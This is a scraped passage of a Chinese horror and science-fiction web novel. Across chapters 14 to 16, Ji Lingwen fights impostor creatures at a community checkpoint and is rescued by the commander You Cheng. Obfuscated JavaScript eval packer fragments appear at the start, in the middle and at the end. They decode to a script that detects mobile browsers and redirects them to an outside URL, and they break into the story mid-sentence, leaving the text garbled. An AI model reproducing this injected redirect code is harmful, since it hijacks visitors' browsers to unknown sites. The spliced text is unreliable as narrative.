d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010378|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 游骋很出色她知道,游骋很野心她知道,他这人不是一般的出色,也不是一般的野心,可游骋说为了一个妄想而活,纪令闻从来不知道。 跟游骋相处以来,纪令闻有感觉到他对她态度上的转变,有一些可能是故意让她为他所用,而有一些,分明是他下意识的举动。 那也就是说,他多少是对她不一样的。 可这种朝不保夕的时代,变故太多了,游骋掌握绝少数的话语权,什么都束缚不了他,那他怎么可能无偿护着她这个或许毫无瓜葛的人。 纪令闻这时候想得挺开,他们起点都不一样,有没有利用价值已经不重要了。 值得关注的是真相,是客观的事实,还有,她到底是谁。正因为她知道自己的恶有多深,所以才一直压抑着,如果遵循本能,恐怕就会被伪人乘虚而入。 不等他们继续聊下区,咔的一声,远处有破裂声响起。 纪令闻浑身绷紧,循着声源方向望去。当看到来人时有些惊讶,“怎么会是你?” 是那天陪安柏去医务室见过的医生,刚扔完输液瓶,插兜站在楼梯平台上看着他们。 “有病请就医,没病请回避,这里不是打情骂俏的场所。”医生长相雌雄莫辩,声音也是。 眼袋相较那天所见已明显减轻,但态度依然冷漠,仿佛只是顺手扔垃圾时撞破了这一幕。 纪令闻回应的不是肯定或否认的话,而是:“医生,我想知道下次什么时候体检。” 说起来,社区的员工体检流程可真是相当繁琐。首先,得由直属上司统计人数,再举办自我认知与健康科普讲座,最后经过管理员统一审批,评估每位员工的精神指数。 因此,想要随随便便就体检那是绝不可能的。敢当面问的,这么多年只出了纪令闻这么一个。 医生表情短暂地凝固了下,很快恢复如初,往后撤了两步,考虑是先确保自身安全,还是给这个越级违规的员工一个教训。 游骋看在眼里,脸上一点温度都没有,眸里隐匿深意潮涨潮落,但又像是在扼制着什么,到底没爆发。他把纪令闻扯到身后,略显漠然的嗓音传入她耳中:“管理员说想见你。” 管理员。 纪令闻听到这话,对医务室医生的好奇都得压下去。 日光节当天,社区公告放假一天,其实给了几个小时的休息时间,也就是半天。 开幕仪式管理员都没来,更别提私下见面,纪令闻觉得还是太悬了。既然游骋不像说假的,她也没必要再揪着不放,见不见得到管理员都是他一句话的事。 只是zcw533和tyz478火急火燎地赶过来,多少有点破坏即将破解的气氛。 同两个下属说过话,游骋终于移开目光看了她一眼,漆黑的眼底无从窥探,纪令闻本能觉察无措和危险,扭头避开他的直视,往巷口走去。 游骋就这样放走她。 风声平息,世界在此刻阒无人声,他穿着一身冷沉沉的隔离服,几步朝她走来。 “纪令闻。”她不是第一次听他这样指名道姓叫她,“今晚的事别告诉任何人,包括你的室友。” 听着游骋正色的交代,纪令闻忽然有些担心。 半晌她说:“好。” 14. 第 14 章 日光节结束,一直到回到员工宿舍,游骋的话在纪令闻耳边循坏播放。 室友,纪令闻总共有三个,安柏、李宝嘉,还有……张晓亚。 从张杉死后,他的妻儿不知所踪生死未卜,就连张晓亚都很少现身寝室门口。 说到底,如今局面已经是社区管理层控制后的结果。就算纪令闻头脑再好,战力再高,随着孤立无援,依旧是逃不了一个死字。 要是游骋真有献祭她的心思,她就只剩束手就擒的份儿了。 可今天,张晓亚破天荒地出现在了寝室,尽管她看起来跟平时一样,还招呼安柏来帮她铺床垫,理由是床板硌得慌,让她觉得睡在上面很不舒服。 员工宿舍的床板是特制的,贴合人体曲线,睡觉身上的压力也能慢慢释放下来。因此,普遍反映床板舒适。 安柏被张晓亚盯得心里毛毛的,只好帮她把床垫运到上铺,期间闻到一股恶臭,硬是忍住当人面呕吐。 纪令闻一进门就去了盥洗室,她的漱口杯上放着已经挤好牙膏的牙刷,仔细看,上面还粘附着食物残渣。 还没想是怎么回事,就听安柏小声抱怨:“这张晓亚怎么阴魂不散的!那我们接下来该怎么办?” “要化被动为主动,以不变应万变。” 纪令闻说完,然后把牙刷掰成几段,丢进垃圾桶里,又打开下面的储物柜抽屉,挑一支黑色的用。 安柏一下抓住了重点:“你平时用的不是粉色的吗?” “换个心情。”纪令闻目光忽然抬起,正好对上副窗的一张脸。 她扭过头,当做什么都没看见。 安柏望着纪令闻拧开水龙头,还把水流调得很大,没事人一样刷牙洗脸。没觉得有什么不妥,过了几分钟,反而后背逐渐发凉。 猛地回头,但除了别的寝室人,什么也没发现。 安柏感觉到一种前所未有的危险,全身汗毛都竖了起来,跟着纪令闻身后不敢掉队。 想逃。 却无处可逃。 纪令闻像是没感觉到安柏的恐慌,很快做出回应:“你平时怎样现在就怎样,不要让她察觉到你在害怕她。” 当然,或许也能说‘躲猫猫’。 伪人不仅掠夺人类的热量,还能模仿得一模一样,只要不点破他们还是很会装的。 安柏点点头,“躲得了初一,躲不了十五。” 理是这个理没错,真当无事发生就很有难度了。 这天似乎也没什么不同,李宝嘉戴着一副厚厚的黑框眼镜,像往常一样抱着值班表回来,摆在桌上。 “这周的排班表更新了,大家都看看吧。” 纪令闻在表格里找到自己的名字,是早班。 早中晚班计入考勤,但获得的报酬却不一样,正所谓风险与收益往往成正比,高风险通常伴随高回报。 纪令闻不确定魏站长是否真的放下芥蒂,但上班是每个居民应尽的义务,她这个黑户也不例外。 尤其是现在,空白表格上凭空出现了张晓亚的名字,只不过是手写字,不是缺笔画就是歪歪扭扭,墨迹还没干,手指摸到就蹭掉了大半。 纪令闻和李宝嘉对视一眼,心里有数。 就是纪令闻刚从老屋无罪释放的时候,李宝嘉已经提起过,而空白表格里突兀的手写内容,再次证明此事并不单纯。只不过大家也知道,不能打草惊蛇。 “认识一下,我是你们的新室友,纪令闻。”纪令闻伸出手,半真半假地看了一眼。 张晓亚脸色发沉,不打算握手。 谁知纪令闻也不急,就那么等着。 张晓亚被注视了好一会儿,终于按捺不住:“我不想认识你这种人,一看就是一肚子坏水,而我只要绝对安静的空间,懂吗?” ‘一肚子坏水’的纪令闻眨了眨眼睫。 有那么一瞬,张晓亚以后她知难而退了。哪曾想纪令闻又哼笑一声,说:“恐怕不行,我喜欢制造一些噪音。” 张晓亚张了张嘴,陡然撞上那双焦茶色的眼睛,在一片光影中,顷刻间就被女孩身上带有的气势覆盖,不知道怎么反驳,索性闭嘴上床躺着了。 纪令闻绕过床位去关窗。 窗户的防护网通电,自从跟游骋度过惊险一夜,已经重新加固。冷空气灌进来,吹得人清醒了几分。 悬挂在半空的心脏,被枷锁紧紧锁住,散发着阴森的微光,以一种超然的姿态俯视地面上的人们,而其他人浑然不觉,纪令闻试验过无数次,这诡异的景象只有她能看到。 纪令闻用力扯动窗帘,直到它完全密不透风,紧紧覆盖窗户。 后半夜,待听到均匀的呼吸声,纪令闻起身往后招了招手,安柏和李宝嘉便蹑手蹑脚地溜出寝室,聚集在盥洗室。 她们特意用笔记本纸张均匀铺展到副窗,确保外面无法窥视到一丝一毫。 寂静两秒,安柏忽然小声问:“今天是几号?” “12月23日。”李宝嘉回答。 以往日光节会进行到很晚,但今年却没大办,不难推测出,社区内部有什么大动作。如果纪令闻几人没能把张晓亚弄出去,就会像之前那些给张晓亚开门的同事一样,受到惩治。 惩治的具体事项是什么?热量被摄取。 纪令闻在这股恐慌中镇定下来,她从笔记本上撕掉一页纸,按在洗手台边沿,写下两个字眼:张晓亚,寝室。 一个箭头将张晓亚和寝室链接起来。 “据经验可知,张晓亚是我们寝室的成员,这里有她个人的用品,比如床垫。在休息时间,她就会在寝室附近活动。但这次,却直接出现在了寝室。”纪令闻的声音依然毫无起伏,带着清晰的咬字。 很明显,没有规律可言。 安柏打了个寒颤,瑟缩着脖子不吭声。 纪令闻在箭头两端框选起来,继续说:“鉴于此,张晓亚无疑会非常宝贝她那张床垫。可能床板硬度不是重点,返回寝室也非主因,兴许丢掉床垫,就能消除张晓亚的潜在隐患。” 先前无论是敲门还是熄灯,都表示张晓亚想回到寝室,如果张晓亚还是真正的人类,就不会这么折腾。 相较于一开始,纪令闻现在不怎么当回事了,遇到问题就去解决。 有了初步判断,三人立刻动身。 因为用不了多久纪令闻就要去上早班,到时候张晓亚醒来就不好办了。三人首先去检查那张床垫,一旦发现有什么不对,多半就能对上号了。 安柏和李宝嘉对张晓亚最为熟悉,在纪令闻来之前,住在寝室里的只有她们三个。张晓亚之前是从来不加床垫的,她说那样太软了对脊椎不好。 社区大部分人喜欢睡硬床板,一部分是习惯,在更早点到时候,别说床垫了,能有个安身睡觉的地方就很好了。 “翻的时候别吵醒她。” 纪令闻轻声,“毕竟,她很宝贝那张床垫。” 李宝嘉爽快应下就开始爬梯子,用指甲刀在床垫边角划开一个小口。安柏却倒吸一口冷气,似乎发现了什么了不得的,脸色发白,战战兢兢地挪到纪令闻身边。 “张晓亚的睡姿很奇怪,她是趴着睡的,头也闷在枕头里。” 二进宫的这个张晓亚,不符合人体正常生理弯曲。纪令闻并不意外,意外的是她还自备床垫。 屋子里一时间只有梯子吱呀和呼吸的细微声音,约摸过了五六分钟,李宝嘉那边果然发出一声压抑呼叫:“床垫里很多头发!” 李宝嘉取出一小撮发丝,正要下梯。 安柏哆哆嗦嗦扶住梯子协助,却不慎滑手,导致李宝嘉一脚踩空落地,腰肯定摔得不轻。显然安柏由于太害怕而让那撮头发散落一地。 恰在这时,张晓亚的床有了响动,纪令闻趁机迅速捡起地上的头发,皮肤接触到头发,上面不正常的黏腻触感让她不禁联想到不好的事情。 床垫的填充物大概率是,张晓亚本人。 李宝嘉疼得嘶了一声,然后安柏赶紧把她架到床边,上铺的人只是翻了个身,就再无动静。 二人都怛然失色,有些惊惶无措地看向纪令闻。 纪令闻找个密封袋将那撮头发放进去,不知道该怎么安慰室友,只能说:“先抹点红花油,消肿。” 如果严重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037829|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受伤是要去医务室的,轻微伤尚可以忍受,但伤到腰就很难活动了,这意味着李宝嘉要在宿舍静养了。 纪令闻毫不犹豫,把手搓热,拿过旁边的药油李宝嘉涂抹,手法不像是乱来,倒像是有技巧的。 安柏咬咬牙,“对不起,李宝嘉,都是我……” 话音刚落,就见到纪令闻身形摇晃,脱力跌坐在椅子上,伸手按压自己的胸口喘息。 “你没事吧?”安柏赶紧问。 纪令闻本就看起来弱态,皮肤白,唇色浅,跟营养不良差不多,此刻眼眶微微凹陷,眸光不聚焦,身体瘦弱软绵绵的,仿佛一阵风就能把她吹倒。 她撩起眼皮,用平淡的语气说:“没事,我就是心脏不舒服,刚刚狠抽了下。” 安柏左耳听右耳出,匆忙把自己床上的牛肉干捧过来,撕开包装就要往纪令闻嘴里倒。 “我看你是饿晕了,快吃点补补。” “我缓缓就好,你们不用放心上……” 对上安柏坚定的眼神,纪令闻无奈地耸了耸肩,深知自己的话无效。毕竟她这副没几两肉的身子骨,实在不好让人信服。 况且,她刚刚的感觉太强烈,点开勺戒查看身体状况,只见上面显示一条消极提醒。 【虚空凝视,精神指数-4】 安柏李宝嘉都有随身健康监护系统,分别扣除了7点和9点。那边李宝嘉的精神指数直接掉了一半,从良好降到了不及格,状态栏直接飘红。 “我原本的想法太过天真,没想到竟然有这么多层面,远远超出了我的预期。”李宝嘉摘下摔碎的眼镜,幽幽说。 折腾半天,看起来一格血的纪令闻,居然没啥损伤。咀嚼咽下牛肉干,休息四分钟不到,就要捂着胸口站起来,准备去上早班了。 见她俩还不信,纪令闻打开身份信息,投影,精神指数已经恢复,直接恢复到100%。 “????”精神指数狂掉与自我调节心态的两人满脸问号。 安柏:“休息一下马上回来,我去,你这回血速度也太夸张了,难道是你给监护系统充钱了?” “走了,想把重要的事放在上午处理。”纪令闻拍拍手,踏出寝室进到检查站大厅。 打卡,换上制服,准备指纹打开值班室门的时候,郑嘉树过来跟纪令闻打招呼,递给她一份早餐。 “谢谢,我不饿。”纪令闻双手抄兜,脚下步伐不自觉加快。 郑嘉树没有太纠结,跟上去,说:“纪令闻,站长让我们今天一起执勤。” 此话一出,自求多福。 手册第七条:【值班室一次只能进入一名员工,员工执勤结束后应从值班室内侧门返回检查站大厅。如有员工邀请你一同进入值班室,无视即可。】 显而易见,这是一个假冒的郑嘉树。 纪令闻再也不会信他说的任何一句话,倒是不躲不避地立在原地,半点没觉得自己该回避,一言不发,目光却没即刻从郑嘉树身上移开。 ‘郑嘉树’一度以为自己眼花了,她不是应该同意或拒绝请求吗?怎么这么直白地盯着人看? 愣了一下,就听纪令闻不辨喜怒地说了句:“让开,不然我就喊人了。” ‘郑嘉树’端详起纪令闻,似乎不把这句威胁放在眼里,她现在的样子半点威慑力都没有,意味深长地反问:“这么着急上班干什么?” 话里有话。 但这点小心思,怎会瞒得过纪令闻,她无视这人,顺着值班室对面的方向瞥去一眼,“监控应该都拍下来了,你这么厉害,自己进去就是了。” 话声落下纪令闻将值班室的门开了个缝,她不打算惯着,兀自迈出一只脚,见他不敢进,反手就要关上门。 ‘郑嘉树’阴阳怪气,“你真是不把自己当外人。” 纪令闻学着他的语调,“这是哪里话,你我之间是同事,我的工作不是你的工作,好好反省。” ‘郑嘉树’蓦地怔在当场,不明白她几个意思。 起先纪令闻没在意这些细节,当她看见电话线被剪得七零八落时,这才恍然大悟,自己究竟卷入了怎样的困局。 15. 第 15 章 自纪令闻走出家门至今,出勤次数屈指可数,就碰到了这种事,她立刻开始在脑海中搜寻相关记忆。 好不容易找到了匹配的答案,员工入职培训手册对此有过说明。 手册第八条:【执勤员工应根据当天的值班表,检查一次电话线,如电话线被切断或掉线,马上与上级领导反映,确保检查的高效进行。】 对于这条规则,纪令闻其实不是特别了解。大概知道,这是紧急状况,目前还没听说谁遇到过,目前她上了不到一星期的班,内容无非就是守在小小的值班室里接收证件,确定信息…… 挺无聊的流程,但就是危险系数高。比起社区其他工作,这种重复且需要高度集中的工作似乎更能获得居民的青睐,尤其是现在还能跟伪人面对面,多难得的机会,总给人一种活了今天明天就不活了的感觉。 不过纪令闻人在岗位,能做的也只有补救了。 她想通过勺戒联系游骋,结果发现网络被屏蔽,只能使足了劲推门,双手紧握门把手。 然而那扇门却像是被牢牢焊住,纹丝不动,连一丝摇晃的迹象都没有。 纪令闻忽然想起来以往的经验,值班室在进入的那一刻就上锁了,只有完成今日访客清单才能解锁。 工作毫无人性化可言,全是强制性的安排。 可电话线都被切断,值班室的门锁定,还要怎么联系上级领导?纪令闻认为这条规则前后矛盾。 思及此处,纪令闻下意识往窗外空着的几个闸机看了眼,很快就收回了目光,唇角不易察觉地抿紧。 所以现在这算怎么回事?难道只能自认倒霉了吗? 纪令闻不想认。她一边在值班室内四处翻找别的通讯设备,一边快速转动脑筋。冷不防的,窗口传来了一道声音,空幻又高扬说的有鼻子有眼: “你好,这是我的证件,请验收。” 纪令闻顿了顿,沉思了下,果断决定不予理睬,继续专注于手头的事情。 抽屉里只找到蜡烛与火柴盒。 访客无论对她说什么,她都全当没有听见,一句也不回。 恰在此时,一个意想不到的场景猛然闯入她的视线——窗口的底部,一只枯槁如柴的手悄然弹出,那手上的指甲盖长到弯曲,如同老树的枯枝。 纪令闻心口止不住地触动了一下。 不用看今日访客清单也知道了,这位不是智核社区的居民。 访客的耐心已经耗尽。 脸紧贴着玻璃窗,整张脸在扭曲的光线中被无限放大,每一个毛孔、每一条细纹都清晰可见,纪令闻在这时才不可避免地看清了窗外生物的真面目。 眼珠,好多眼珠。 那的确有着人类的皮相,折皱得令人毛骨悚然。皮肤之下,似乎隐藏着无数蠕动的不安分因素,而那双眼睛,不,根本不能用一双来形容,而是一片密密麻麻、蠕动着的、正在眨眼的眼球生命体。 它们紧紧贴合在那张人脸的眼眶位置,仿佛有无数自作主张的个体在其中挣扎涌动,时而聚合,时而分散,每次眨眼都伴生着黏结声响。 纪令闻心跳加速,几欲挣破胸膛,如寒冰般沿着脊背穿梭全身,但她很明确那不是恐惧带来的战栗,而是兴奋的浪潮。 那窗外的生物,仿佛感受到了纪令闻的情绪变化,嘴角勾起一抹诡异的笑容,无数眼球开始节奏一致地转动,齐刷刷地盯向了她。 手册里不是没有说过,遇到这种情况怎么处理,但怎么看都是等死。 纪令闻额头沁出些汗意,当即垂下眼帘,按下关闭窗口的按钮,不再看它,看着旁边碎得七零八落的电话线,做了个深呼吸。 她在家这么久不是只会看电视。 纪令闻将座机稳稳抱到工作台下的空位,自己蹲下,光着还不够,火柴棒在她手里轻轻一划,火星四溅,迅速将这火苗凑近蜡烛芯,室内顿时被一片柔光包围。 蜡烛燃烧着的火苗烧一下,再用食指上佩戴的勺戒,拨开了断裂部分的绝缘皮,露出两端铜丝。 有红绿两根线,纪令闻心里很清楚,红绿线可以随便接,不是严格红线接红线,绿线接绿线。 她仔细对齐两端,徒手捏紧固定,红接绿,绿接红。最后用胶布将缠绕的铜线包裹起来,不能说结实不容易扯断,就是将就,赌的成分也很大。 窗外,那只怪物正用长指甲疯狂剐蹭着玻璃,每次剐蹭都带来剧烈震动,不过努力并没有白费,玻璃表面逐渐泛起裂纹。 换谁遇到这种情况,都是一颗心都跟着提到了嗓子眼。但纪令闻升起了挡板,这是最后一道屏障。 她拿起听筒开始拨打内线号码。 F/F/F/F。 听着电话那头传来嘟嘟的忙音,接通后,纪令闻却听不到任何声音。 “喂?喂?”她试着汇报自己当前情况,“检查站值班室遇袭,现请求紧急支援。检查站值班室遇袭,现请求紧急支援。” 但仍无声息,只是一连串刺啦电流。 “噼啪!”玻璃窗骤然大面积破裂,砸得满地狼藉。挡板前密集的噔噔声越来越近,仅仅听声就能推断出到那个不知道是什么成分的东西开始增殖。 “检查员,为什么不接我的证件?”是怪物在说话。 数不尽的声带共同震动,聚集成所听到的声音。 纪令闻不能回答,不能停顿,脑子里不能有超越自我的想法,她担心思考会让她的动作变得迟钝,她只能环顾四周找个趁手的武器,忽然一个银色物件映入视野。 防爆扳手。 短时间内她不得不做了个决定。 在怪物突破最后一道屏障后,纪令闻疾步跑向窗棂,一脚踩在工作台蹬了上去,毫不迟疑从裂口处一跃而下。 玻璃碎屑的锋利边缘嵌入鞋底,扎进了里面。 别的纪令闻不知道,但真的极大降低逃命速度。 身后那迫迫着神经的噔噔声逼近,那声音犹如伺机而动的水蛇,全身的汗毛都不由自主竖了起来。眼见即将滑下来的粘液即将滴在纪令闻身上时,一股纵向反冲力撞击她的肩窝,将她整个人扑落倒地。 纪令闻借力在地上滚了一圈,疑惑地看向抬头冲她微笑的郑嘉树,微微翕动的嘴唇艰难喘息着,吐出的字眼微弱而无助:“闻姐,你、你没事吧?” “没事。”纪令闻神色一凝。 有没有说谎,其实看下意识的动作就知道了。 “我、我有事。” 话毕,郑嘉树嘴角抽搐,吐出一口浊血,再顺势一滴一滴落在纪令闻脚边。 他是从哪儿来的? 突如其来的的变故,纪令闻似乎也意识到了什么,心里突然阵阵不安。 她几乎没有任何停留地爬起来,抄起扳手,利索地砸破眼珠个体,它那类似于无脊椎动物的却有初步视器的身体瞬间爆浆喷溅。 浓雾在值班室周围不停地翻腾。 纪令闻从不恋战,打了几回合就停手了,脱困后再次飞奔了起来,只不过这次顺捎拖着个郑嘉树,但这次她不得不多做打算。 因为她看清楚了身后那群正在追她的到底是什么生物。 跟上次在寝室遇到的那只一模一样。 很快纪令闻再度被扑倒了,是那些分裂的眼珠吃一堑长一智,纷纷拥拥地往她腿上猛扑,有意识地拦截她的行动。 粘液分泌得越来越多直至覆盖纪令闻的手臂、脖子、腿脚,恶心感占领上风引爆无明业火。不速决掉这些缠身的东西,只会没完没了,更别说现在还带着一个伤员,跑又能跑多远。 纪令闻忍着恶心揭开围攻,手上的扳手快准狠地砸爆眼珠,趁势拽着半死不活的郑嘉树扔出包围,只有同事死不了,她才能全神贯注应对突发状况。 纪令闻深谙,她在需要协助的时候谁都指望不上。 想是这么想,但这些奇异生物恶心得不能用任何词描述,黏菌气味浓厚,甚至还会用指甲在沥青路面摩擦尖锐动静。 不止视觉、嗅觉、听觉三种折磨,这些小东西弹跳力也极为惊人。 面对这些会弹挑植物的怪物,纪令闻一扳手砸爆一个,逐渐感觉越发费力。归根到底,人的力量是有限的怎能跟增殖进度抗衡,就算她力道往狠了抡,随着体力消耗,没有援兵及时赶到,她得被这群东西拖死。 诡异的事情在纪令闻眼皮子底下发生了。 更加浓重的机油气味先眼珠一 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浑身煞气的男人眼神毫无杂质,睫毛低垂,于眼睑下方落了层蓝灰色,机械手臂往下淌着滑润的血水,他身后是大面积堆砌起来的血海肉山,分不清胸膛看不到四肢,将近三人高度,煞是骇人。 纪令闻依稀分辨那些就是刚才怪物潮涌出的怪物,他应该是经历了一场恶战,束缚他行动的隔离服系在腰间,极具弹性的白背心绽放出艳丽花朵,渐渐晕染开来,他毫不在意,胸前的肌肉随呼吸起伏不定,裸露在外的手臂也延伸出混乱中暂停的焦点。 一滴血珠顺应他狭长的眉眼落下,在锁骨那块洼陷回了个旋,不服气地滑落。他手边遗落着一张工作铭牌,上面刻着:清理者指挥官·游骋。 初看不觉其味,细品越具冲击。 眼前的画面充满了强雷的视觉刺激,血腥,暴力,美学。所有矛盾的特质结合在他身上,相互冲突,形成超乎人类、阴冷的第一观感。 但纪令闻现在最直观的感受不是他的观赏性。 他双手撑在身后,敞露的上半身墨线横行直闯,慢慢扭过头,意外眯起眼,晃出一抹遮天蔽日的暗色来。 那不是人类该有的眼神。 纪令闻攥紧了手中的榔头,本能的危险意识疯狂乱窜,提醒她眼前的这个男人比刚才那些怪物还要恐怖万分。 她当然得跑! 即刻转身就跑。 可就算大脑皮层已经下达了指令,纪令闻的双腿还是定在原地。 纪令闻紧盯着朝她走来的男人,扳手随时准备挥出去。 却不想,这个男人戴上面罩,将自己封闭在密实的空间里,就好像这样能让他最大程度冷静下来。 但很快纪令闻就发现,无效。 游骋很淡定,几乎是无视了纪令闻。 他越无视,纪令闻反而越是不拘泥,她觉着有趣,扬起脸去瞧他。 或许是盯量停驻的时间过长,引起了游骋的注意。直喇喇的视线就此触及,似有两根交缠的电网霹雳迸发,双方都不肯在气势上示弱。 而这也让纪令闻看不到他的正脸,无从辨别具体情况,与撞见先前他屠戮伪人不同,他这回可以说是大开杀戒,只余那么一点人性在。 纪令闻眨也不眨地看着,焦茶色瞳孔敛去空白,惹得游骋节节败退。他抿起干裂的唇,对她说了今天的第一句话:“你受伤了?” “不是我的血。”她说,“郑嘉树的。” “我刚才失控了,有可能错杀了不该杀的人。” 游骋声音低沉沙哑,缓缓吐出的字眼清晰陈述,明明白白的就在告诉纪令闻他事无不可对人言的缺陷,好阻塞纪令闻那冗杂隐没的神色。 大概一分钟过后,纪令闻抓住游骋的手臂,用力往自己方向扯,顺势往怀里一带,生疏地拍了拍他的背,之后也没多余动作。 像是以她为支撑,游骋全身的力道都松懈了,他看不见她的表情,身子稍稍弓着,下颚抵住她的肩颈。 游骋双手回抱着纪令闻的腰,存在感却强得像是,磕在身上浇灌的,一捧烙铁熔浆。 良久,游骋听到纪令闻有些沉闷的声音。 “你抱的太紧了。表哥。” 16. 第 16 章 “你不怕我。”游骋现在的心情很好。 非常好。 他已经很久没有体验过像刚才那样的拥抱了,尤其是当他打算去确认纪令闻是否撑得住时,就看见她满身狼狈地朝自己走来,给了他一个久违的拥抱。 游骋也没想到,纪令闻竟然有再而勇的时候。 她踮起脚,不像刚才那么拘束的防备着,许是嫌他的机械手臂太硬,退而求其次拍了拍他的肩膀。 纪令闻所受的伤并不严重到致命的程度,只是分泌物的问题多少有些麻烦,不过有游骋在,她就不可能因此丧命。 “需要我搭把手吗?” 游骋伸手,纪令闻如同钉在原地的腿终于能动,好似躲闪般往后退了一步。 他垂眸看去,血色狼藉中落着一只骨肉匀衬的手,骨骼的每一寸弧度都干净漂亮。 “不用。我想,我得马上洗个热水澡。”纪令闻控制好表情,在这种场合只能故作关切,“你呢,失控是怎么回事?” 游骋神色未变,收回手,“粗估是精神指数加载失败。” “只因那1%?” 差那1%的精神指数,就让游骋暴走失控,纪令闻并不介意被他说得更详细点,真让她酌情探索点什么,她怕是办不到的。 纪令闻却忘了,自己早已跟游骋绑定智能手铐,不得删除记录,怎能安心。 唯有游骋知道,当纪令闻那句话问出来,他的呼吸凝滞,仿佛只要纪令闻再多说几句,下一刻他就会把心里话全盘托出。 幸好她没问,他也就没说。 一阵风刮过,纪令闻抬手护住眼睛挡风,等风停息过后,游骋没做好就地掩埋的收尾,丢弃隔离服残布,率先离开。 纪令闻看了眼手中的扳手,并没像游骋那样随意抛弃。毕竟现在能找到满意的武器着实不多。 “不回去写报告吗?”游骋回头,不过他又像是想到了什么,没有急着离开,而是问了纪令闻这么一句。 上早班的是纪令闻,差点殉职的是纪令闻,写报告的还是纪令闻。她打了个哈欠,“怎么写?” 纪令闻不紧不慢地跟在游骋后面,深一脚浅一脚地向前走,视线越来越模糊,没多久眼前一黑。 就在意识即将下线不受控制地摔倒时,纪令闻猝然撑着扳手起身,视野一下子天翻地覆,气息不稳地‘呃’了一声,想要推开,腰背却被牢牢扣住。 游骋默然无声地看着她的动作,眼里若明若暗,“别乱动,我替你写。” 这个不合理的要求,纪令闻默许了。 “郑嘉树,他大概对你来真的。”游骋说话还是一如既往的凉薄,又补充说:“我得看着这个愣头青,不能让他再闯祸了。” 纪令闻可真头大,“只是同事,他死了说不定我得顶上。” 不得不承认,游骋的手很稳很有力,被端起来的纪令闻照旧攥着那把扳手,困意已经袭来,从这个视角,她能清楚看见他喉结凸起,以及流畅的下颌线。 “这把扳手,给我一万两万工时我还真不换。”纪令闻脖子往前歪斜,呼吸很轻,“一抡到底。” 纪令闻眼皮越来越重,嫌待在他左侧臂弯靠着不舒服,干脆往他胸膛拱了拱,换了个舒适的姿势,发丝跟着微风吹拂,有几缕吹到游骋的脸颊,只是极轻的蹭过温热的皮肤,像是在挠痒,又像是在认可。 游骋无所忌讳,接话茬:“嗯,你厉害,在这方面无人能及。” 之后就如游骋所说,他替她写报告,被抱着的纪令闻半梦半醒睡着了,身上的阵痛让她的脑子昏昏沉沉。 直到她听见了室友的声音,才稍微把心放回肚子里。 总算是没白费功夫。 因为早班尾声紧接着就要交接午班,所以检查站大厅候场人群看到的画面是这样的:浑身杀伐气的男人抱着一个满脸血迹、气息奄奄的女孩,就这么从员工通道闯出现身,甚至女孩手里那把扳手,还在不断滴落黏黏糊糊的液体。 走一路流一路。 围观群众:“……” 这俩表兄妹到底经历了什么? · “纪令闻!” 安柏和郑嘉树吓得不轻,快步迎了上去。李宝嘉明显不在状态,不过也咬着牙跟着上前查看。 “纪令闻,你醒醒。”安柏大声喊着她的名字,一只手直接开始探鼻息。 游骋凝了凝眉,沉声说:“她还没死。” 还没回过味的郑嘉树下意识回答:“指挥官事忙,怎么好意思叫您送她,你就把她交给我吧。” 等等。 游骋公主抱纪令闻? 这是什么发展? 郑嘉树只记得当时还没看清是谁,就被甩飞了,睁眼就看见纪令闻大战眼珠子,挡伤害实打实的可是他。 游骋怎么可能将纪令闻交给异性,虽然是关系不算多好的同事,那也不能。他挡开伸过来的手,直截了当说:“不用,我送她回去。” 瞬间,郑嘉树的表情从困惑转变到理解,视线从游骋的手臂移向纪令闻的手,两手紧握。 这个姿势绝非出于礼节上的考虑,也不是表哥对表妹的关怀,更不是上司应有的举止。 郑嘉树把该有的不该有的解释通通排除,那就只剩下一种,纪令闻这个小姑娘深藏不漏,独自经历了生命无法承受之重。 短短几秒,郑嘉树已经将真实情况猜的七七八八,对着游骋的神情也由客气转化成了恭维。该说不说,以后要跟着纪令闻混,这点态度根本不在话下。 “那她怎么会这样?”李宝嘉问出关键。 游骋与三人投来真挚着急的目光相撞,加上现在心情还算可以,于是破例多说了句实话:“放心,她暂时不会感到痛,主要是毒发。” “毒发?该送去医务室吗?”安珀心急如焚。 游骋抿了抿唇,在三人的注视下缓缓开口:“用不着那么麻烦,我略懂一二。” 三人不约而同:????一二是? 绿野园艺坊外。 安柏背着昏迷的纪令闻,跟郑嘉树李宝嘉并肩站在旁边,看着游骋扣响大门。 “咚咚咚。” 三声敲门声之后,郑嘉树留意游骋将手收回,原以为他就此罢休,想不到他猛地抬脚踹门。 但也不知道是不是天意如此,游骋刚踹完,门突然从里面打开了。 三人面面相觑:嗯……这怎么能不算先礼后兵呢。 听到动静赶来开门的园丁脸色难看,“你小子又想干什么!我可警告你,这里不是你想来就来想走就走的地方!” 愤怒或许真的冲昏了园丁的头脑,突然抄起铁锹向游骋发出猛烈进攻。 守在门外的三人目睹这惊险一幕,早就吓得心惊胆战,眼看园丁的铁锹就要劈下,游骋却如雕塑般半点反应不给,三人彻底惊愕得说不出话来。 “快闪开啊,还愣着干什么!” 话音落地,游骋非但没有躲开,还抓着园丁刚抄出来的家伙什,直接提溜着人跨进园艺坊门槛。 还真够随意的,想什么时候来就什么时候来,想什么时候走就什么时候走。 直到园丁坚持不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 